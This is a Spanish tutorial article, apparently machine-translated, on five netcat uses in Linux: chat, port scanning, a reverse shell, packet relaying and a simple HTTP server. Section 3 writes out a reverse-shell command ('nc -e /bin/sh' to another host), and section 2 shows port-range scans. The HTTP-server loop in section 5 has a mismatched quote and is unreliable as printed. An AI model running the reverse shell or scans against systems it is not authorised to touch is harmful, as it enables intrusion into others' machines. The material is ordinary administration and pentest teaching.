5 usos simples y fáciles para Netcat en Linux

5 usos simples y fáciles para Netcat en Linux

Netcat es una potente utilidad de red de línea de comandos en Linux que puede enviar y escuchar paquetes TCP y UDP. A diferencia de otras herramientas de red, netcat es extremadamente básico. Sin embargo, su simplicidad también le permite realizar casi cualquier tipo de actividad a través de una red.

Este artículo le mostrará 5 tareas sencillas de red que puede realizar con netcat. Además, este artículo también destacará lo que hace que netcat sea especial y por qué debería incluirlo en su kit de herramientas de Linux.

¿Cómo funciona Netcat y por qué usarlo?

Netcat es una utilidad básica que puede enviar y recibir paquetes de red. Fue lanzado por primera vez en 1995 por un programador seudónimo llamado Hobbit. Desde entonces, netcat ha sido una parte importante de todas las distribuciones de Linux.

Básicamente, netcat funciona enviando solicitudes de red de un host Linux a otro. Esta solicitud de red puede contener cualquier tipo de datos y puede enviarla en cualquier puerto.

Una terminal que muestra una transferencia de texto simple usando netcat.

Este enfoque significa que netcat puede crear cualquier tipo de conexión de red posible. Por ejemplo, el programa puede crear conexiones TCP directas que puede usar para transferir archivos o crear sesiones de shell inversas .

Un escritorio que muestra una transferencia de archivos simple entre dos hosts Linux usando netcat.
Fuente de la imagen: Pedro Lastra vía Unsplash .

1. Sesión de chat entre pares

Uno de los usos más básicos de netcat es una simple sesión de chat de igual a igual entre dos máquinas Linux. Este es un método de comunicación que no depende de ningún servidor de terceros para enviar y recibir información.

  • Para que esto funcione, debe abrir un puerto entre 49152 y 65536 en su máquina local. Aquí es donde un host remoto podrá conectarse y enviar información arbitraria a su máquina.

sudo ufw allow 50000

  • También necesita abrir un puerto diferente en el host remoto para que su máquina le envíe información:

sudo ufw allow 50001

  • Ejecutar netcaten su máquina con los siguientes argumentos:

nc -lp 50000

Esto abrirá una sesión de netcat que está escuchando activamente datos en el puerto 50000.

  • El host remoto ahora puede enviar cualquier dato de texto hacia su máquina local. Por ejemplo, el siguiente comando enviará la entrada estándar del sistema a una máquina remota.

cat - | nc 192.168.122.136 50000

Una terminal que muestra el indicador de entrada estándar para un chat netcat básico.
  • Para responder al mensaje, el host remoto también necesita ejecutar un demonio de escucha:

nc -lp 50001

  • Ahora, también puede enviar un mensaje desde la máquina local al host remoto:

cat - | nc 192.168.122.177 50001

Una terminal que muestra dos terminales virtuales para un chat netcat dúplex completo.

2. Escáner de puertos básico

Un escáner de puertos es una utilidad simple que verifica si se puede acceder a un conjunto de puertos en una máquina desde un host remoto. Esto es muy útil en casos en los que no está seguro de si su sistema tiene abiertos los puertos apropiados.

Para verificar un solo puerto, puede ejecutar nc -vseguido de la dirección IP y el puerto que desea verificar:

nc -v 192.168.122.177 80

Una terminal que muestra un escaneo de puerto básico para el puerto 80.

También puede proporcionar un rango de números donde netcat verificará secuencialmente cada número de puerto dentro de ese rango. Por ejemplo, ejecutar el siguiente comando buscará todos los puertos «conocidos» abiertos:

nc -v 192.168.122.177 1-1024

Una terminal que muestra un análisis masivo de

Una de las desventajas de consultar puertos es que genera tráfico de red innecesario. Esto puede ser un problema si está probando una gran variedad de puertos en una red doméstica pequeña.

Para arreglar esto, habilite el modo “Zero I/O” de netcat que no crea ninguna actividad de red en el host remoto:

nc -zv 192.168.122.177 1-1024

Un terminal que muestra un escaneo de puerto masivo de E/S cero con netcat.

3. Concha inversa

Los shells inversos son el pan y la mantequilla de las pruebas de penetración en Linux. Estas son instancias de shell remotas que le permiten controlar un sistema incluso sin puertos de entrada abiertos. Esto hace que los shells inversos sean útiles si necesita acceder a una máquina que no tiene acceso SSH.

  • Para crear un shell inverso, debe abrir un demonio de escucha en su máquina local:

nc -lp 50000

  • Inicie una conexión netcat en su máquina remota. En este caso, también debe pasar el entorno de shell de la máquina remota:

nc -e /bin/sh 192.168.122.136 50000

  • Regrese a su máquina local y ejecute un comando de shell. Por ejemplo, ejecutar lsimprimirá el directorio actual del usuario remoto.

ls -la

Una terminal que muestra la salida de un shell inverso exitoso.
  • Para finalizar la sesión de shell inversa, puede presionar Ctrl+ Cen el demonio de escucha de su máquina local.
Una terminal que muestra el cierre de la carcasa inversa en la máquina local.

4. Retransmisión básica de paquetes

Además de leer y escribir directamente en un flujo de red, también puede usar netcat para redirigir una conexión entrante a cualquier puerto saliente. Esto funciona mediante el encadenamiento de varias sesiones de clientes y escuchas de netcat mediante conductos UNIX.

  • Cree una sesión de netcat que escuche en el puerto 50000. Este servirá como puerto de salida para su retransmisión básica:

nc -lv localhost 50000

  • Abra una nueva terminal y ejecute el siguiente comando:

nc -lv localhost 50001 | nc localhost 50000

Al hacer esto, se creará un nuevo demonio de escucha en el puerto 50001 y automáticamente redirigirá cualquier paquete en este puerto al puerto 50000.

Un terminal que muestra la conexión de paso entre dos puertos.
  • Ahora puede enviar datos a su puerto de entrada y netcat redirigirá automáticamente su salida a su puerto de salida.

echo "MakeTechEasier"| nc localhost 50001

Una terminal que muestra un retransmisor de paquetes básico en acción.
  • Además de los puertos locales, también puede usar esta función para redirigir cualquier tráfico de red a una máquina diferente. Por ejemplo, el siguiente código envía datos en el puerto 50000 al mismo puerto en un sistema diferente:

nc -lv localhost 50000 | nc 192.168.122.177 50000

Un terminal que muestra una retransmisión de paquetes básica entre dos hosts.

5. Servidor HTTP básico

Configurar un servidor HTTP puede ser un proceso complejo incluso si solo desea servir una sola página. En ese sentido, netcat también puede servir como un servidor web estático simple que puede activar en Linux sin instalar ninguna herramienta adicional.

  • Cree un archivo de respuesta HTTP básico. El siguiente fragmento de código muestra una página web con un mensaje simple:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Guárdelo como «index.http» en su directorio de inicio.
Una terminal que muestra la estructura de una respuesta HTTP simple.
  • Ejecute el siguiente comando:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Una terminal que muestra un servidor web netcat simple en ejecución.

Ahora tiene un servidor web en funcionamiento. Puede visitar su página web abriendo un navegador web y yendo a http://localhost:8080.

Una captura de pantalla que muestra un servidor web netcat en funcionamiento que sirve una página web.
  • Presione Ctrl+ Cen la terminal para salir de la sesión actual del servidor web.
Una terminal que muestra el proceso de cierre del servidor web netcat básico.

Preguntas frecuentes

No puedo conectarme a una máquina remota usando netcat.

Lo más probable es que este problema se deba a un puerto de firewall bloqueado en la máquina remota. Debe asegurarse de que el puerto que está utilizando en su máquina esté abierto para las conexiones entrantes y salientes. Por ejemplo, debe ejecutar sudo ufw allow 49999si desea usar el puerto 49999 en la máquina remota.

¿Es posible conectarse a cualquier host usando netcat?

No. Si bien netcat puede leer y escribir en cualquier flujo de red arbitrario, no puede conectarse a una máquina que no sea detectable desde la red de su sistema. Estos incluyen redes privadas que no tienen habilitado el reenvío de puertos, así como sistemas de espacio aéreo que no tienen acceso a la red.

¿Es posible falsificar una conexión en netcat?

No. Esto se debe a que netcat solo puede enviar y recibir paquetes desde una interfaz de red válida. Sin embargo, puede cambiar de dónde proviene ese paquete en particular si tiene varias interfaces de red.

Por ejemplo, puede ejecutar nc -l -s 10.0.0.2 -p 50000para decirle a netcat que envíe paquetes explícitamente usando la interfaz que tiene la dirección IP «10.0.0.2».

Crédito de la imagen: ThisisEngineering RAEng a través de Unsplash . Todas las alteraciones y capturas de pantalla por Ramces Red.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *